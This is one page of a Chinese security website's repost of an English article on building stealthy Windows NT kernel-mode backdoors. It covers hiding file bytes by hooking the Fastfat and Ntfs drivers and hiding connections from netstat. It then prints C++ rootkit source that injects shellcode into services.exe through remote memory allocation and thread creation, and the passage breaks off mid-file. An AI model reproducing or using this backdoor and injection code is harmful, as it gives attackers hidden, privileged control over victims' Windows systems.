通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 原创精华 >> 文章正文
推荐:Phrack最新公布的内核态RootKit的技术细节
责任编辑:古典辣M°   更新日期:2005-10-24
 
complished through
temporary buffers that are allocated before ZwReadFile and freed in
Session::OnSendComplete.

Paths of data streams and temporary buffers handling algorithm:

NamedPipe -(new send_buf; ZwReadFile)-> temporary buffer

send_buf -(send)-> Network -> OnSendComplete{delete send_buf}

Network -(OnReceive)-> pWBytePipe -(new rcv_buf)-> temporary

buffer rcv_buf -(ZwWriteFile)-> NamedPipe ->
ApcCallbackWriteComplete{delete rcv_buf}

In Session::OnReceive handler data is written to the FIFO and the
DataPumpThread is notified about it's arrival. If the transport has more
data available than indicated another buffer is allocated to read the
rest. When the transport is done - asynchronously - OnReceiveComplete()
handler is called, which does the same as OnReceive.

----[ 4.3 - Stealth on disk

I've implemented simple demo module (file Intercept.cpp) which hooks
dispatch functions of a given filesystem diver to hide the first N bytes of
a given file. To hook FSD call e.g. Intercept(L"\\FileSystem\\Fastfat").
There is only 2 FSDs that may be necessary to hook: Fastfat ant Ntfs,
because NT can boot from these filesystems.

Intercept() replaces some driver dispatch functions
(pDriverObject->MajorFunction[...], pDriverObject->FastIoDispatch->...).

When hooked driver handles IRPs and FastIo calls the corresponding hook
functions modifies file size and current file offset. Thus all user-mode
programs see file N bytes smaller than original, containing bytes N to
last. It allows to implement trick described in part 3.

--[ 5 - Conclusion

In this article I compared 3 existing Kernel-Mode backdoors for
Windows NT from a programmers point of view, presented some ideas on making
a backdoor stealthier as well as my thorny path of writing my own Kernel-
Mode backdoor.

What we did not describe was a method of hiding open sockets and TCP
connections from utilities such as netstat and fport. Netstat uses
SnmpUtilOidCpy(), and fport talks directly with drivers
(\Device\Udp and \Device\Tcp). To hide something from these and all
similar tools, it's necessary to hook aforementioned drivers with one of
methods mentioned in section "Stealth on disk, in registry and in
memory". I did not explore that issue yet. Probably, its consideration
deserves a separate article. Advice for those who decided to move this
direction: begin with the study of IpLog sources [5].

--[ 6 - Epilogue

When/if this article will be published in Phrack, the article itself
(probably improved and supplemented), its Russian original, and full code
of all used examples will be published at our site http://www.nteam.ru

--[ 7 - List of used sources

1. http://rootkit.com
2. "LKM-attack on WinNT/Win2k"
http://he4dev.e1.bmstu.ru/He4ProjectRepositary/HookSysCall/
3. "Windows Root Kits a Stealthy Threat"
http://www.securityfocus.com/news/2879
4. Garry Nebbet. Windows NT/2000 native API reference.
5. "IP logger for WinNT/Win2k"
http://195.19.33.68/He4ProjectRepositary/IpLog/

--[ 8 - Files

----[ 8.1 - Shell.CPP

#include "ntdll.h"
#include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h"

#if (DBG)
#define dbgbkpt __asm int 3
#else
#define dbgbkpt
#endif

const StackReserve=0x00100000;
const StackCommit= 0x00001000;
extern BOOLEAN Terminating;

extern "C" char shellcode[];
extern "C" const CLID_addr;
extern "C" int const sizeof_shellcode;

namespace NT {
typedef struct _SYSTEM_PROCESSES_NT4 { // Information Class 5
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
SYSTEM_THREADS Threads[1];
} SYSTEM_PROCESSES_NT4, *PSYSTEM_PROCESSES_NT4;
}

BOOL FindProcess(PCWSTR process, OUT NT::PCLIENT_ID ClientId)
{
NT::UNICODE_STRING ProcessName;
NT::RtlInitUnicodeString(&ProcessName,process);
ULONG n=0xFFFF;
PULONG q =
(PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q));
while (NT::ZwQuerySystemInformation(
NT::SystemProcessesAndThreadsInformation, q, n * sizeof *q, 0))
{
NT::ExFreePool(q);
n*=2;
q = (PULONG)NT::ExAllocatePool
(NT::NonPagedPool,n*sizeof(*q));
}

ULONG MajorVersion;
NT::PsGetVersion(&MajorVersion, NULL, NULL, NULL);

NT::PSYSTEM_PROCESSES p
= NT::PSYSTEM_PROCESSES(q);
BOOL found=0;
char** pp=(char**)&p;
do
{
if ((p->ProcessName.Buffer)&&(!NT::RtlCompareUnicodeString
(&p->ProcessName,&ProcessName,TRUE)))
{
if (MajorVersion<=4)
*ClientId = ((NT::PSYSTEM_PROCESSES_NT4)p)->Threads[0].ClientId;
else *ClientId = p->Threads[0].ClientId;
found=1;
break;
}
if (!(p->NextEntryDelta)) break;
*pp+=p->NextEntryDelta;
} while(1);

NT::ExFreePool(q);
return found;
}

VOID StartShell()
{
//Search ntdll.dll in memory
PVOID pNTDLL=FindNT();
//Dynamicaly link to functions not exported by ntoskrnl,
//but exported by ntdll.dll
DYNAMIC_LOAD(ZwWriteVirtualMemory)
DYNAMIC_LOAD(ZwProtectVirtualMemory)
DYNAMIC_LOAD(ZwResumeThread)
DYNAMIC_LOAD(ZwCreateThread)
HANDLE hProcess=0,hThread;
//Debug breakpoint
dbgbkpt;
NT::CLIENT_ID clid;
//Code must be embedded into thread, which not in nonalertable wait state.
//Such thread is in process services.exe, let's find it
if(!FindProcess(L"services.exe"/*L"calc.exe"*/,&clid)) {dbgbkpt;
return;};
NT::OBJECT_ATTRIBUTES attr={sizeof(NT::OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE};
//Open process - get it's descriptor
NT::ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &clid);
if (!hProcess) {dbgbkpt;
return;};
/*NT::PROCESS_BASIC_INFORMATION pi;
NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation, &pi, sizeof(pi), NULL);*/
ULONG n = sizeof_shellcode;
PVOID p = 0;
PVOID EntryPoint;

//Create code segment - allocate memory into process context
NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!p) {dbgbkpt;
return;};

//*((PDWORD)(&shellcode[TID_addr]))=(DWORD)clid.UniqueThread;
//Write process and thread ID into shellcode, it will be needed for
//further operations with that thread
*((NT::PCLIENT_ID)(&shellcode[CLID_addr]))=(NT::CLIENT_ID)clid;
//Write shellcode to allocated memory
ZwWriteVirtualMemory(hProcess, p, shellcode, sizeof_shellcode, 0);
//Entry point is at the beginning of shellcode
EntryPoint = p;

//Create stack segment
NT::USER_STACK stack = {0};
n = StackReserve;
NT::ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n,
MEM_RESERVE, PAGE_READWRITE);
if (!stack.ExpandableStackBottom) {dbgbkpt;
return;};
stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom)
+ StackReserve;
stack.ExpandableStackLimit = PCHAR(stack.ExpandableStackBase)
- StackCommit;
n = StackCommit + PAGE_SIZE;
p = PCHAR(stack.ExpandableStackBase) - n;
//Create guard page
NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
MEM_COMMIT, PAGE_READWRITE);
ULONG x; n = PAGE_SIZE;
ZwProtectVirtualMemory(hProcess, &p, &n,
PAGE_READWRITE | PAGE_GUARD, &x);
//Initialize new thread context
//similar to it's initialization by system
NT::CONTEXT context = {CONTEXT_FULL};
context.SegGs = 0;
context.SegFs = 0x38;
context.SegEs = 0x20;
context.SegDs = 0x20;
context.SegSs = 0x20;
context.SegCs = 0x18;
context.EFlags = 0x3000;
context.Esp = ULONG(stack.ExpandableStackBase) - 4;
context.Eip = ULONG(EntryPoint);
NT::CLIENT_ID cid;

//Create and start thread
ZwCreateThread(&hThread, THREAD_ALL_ACCESS, &attr,
hProcess, &cid, &context, &stack, TRUE);

//Here i tried to make thread alertable. The try failed.
/*HANDLE hTargetThread;
NT::ZwOpenThread(&hTargetThread, THREAD_ALL_ACCESS, &attr, &clid);
PVOID ThreadObj;
NT::ObReferenceObjectByHandle(hTargetThread, THREAD_ALL_ACCESS, NULL, NT::KernelMode, &ThreadObj, NULL);
*((unsigned char *)ThreadObj+0x4a)=1;*/

ZwResumeThread(hThread, 0);
}


VOID ShellStarter(VOID* StartShellEvent)
{
do if (NT::KeWaitForSingleObject(StartShellEvent,NT::Executive,NT::KernelMode,FALSE,NULL)==STATUS_SUCCESS)
if (Terminating) NT::PsTerminateSystemThread(0); else StartShell();
while (1);
}

----[ 8.2 - ShellAPC.cpp

#include <stdio.h>
#include "ntdll.h"
#include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h"
#include "NebbetCreateProcess.h"

//Debug macro
#if (DBG)
#define dbgbkpt __asm int 3
#else
#define dbgbkpt
#endif

//Flag guarantees that thread certainly will execute APC regardless of
//it's state
#define SPECIAL_KERNEL_MODE_APC 2

namespace NT
{
extern "C"

上一页  [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]  ... 下一页  >> 

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章REAL蛀虫利用播放器漏洞下载恶意程序
    普通文章李彦宏:中国要在互联网领域逐渐超越美国
    普通文章马云:阿里巴巴的成功是一个生态链的成功
    普通文章Ingres用户认证非授权访问漏洞
    普通文章TCPreen FD_SET()函数远程栈溢出漏洞
    普通文章Winace UUE文件解压堆溢出漏洞
    普通文章Pclxav木马猎手第一代特征码引擎源代码
    普通文章IE收藏夹管理小精灵算法分析
    普通文章Extra Drive Pro算法分析历程
    普通文章雨过天晴自我注册
    精彩专题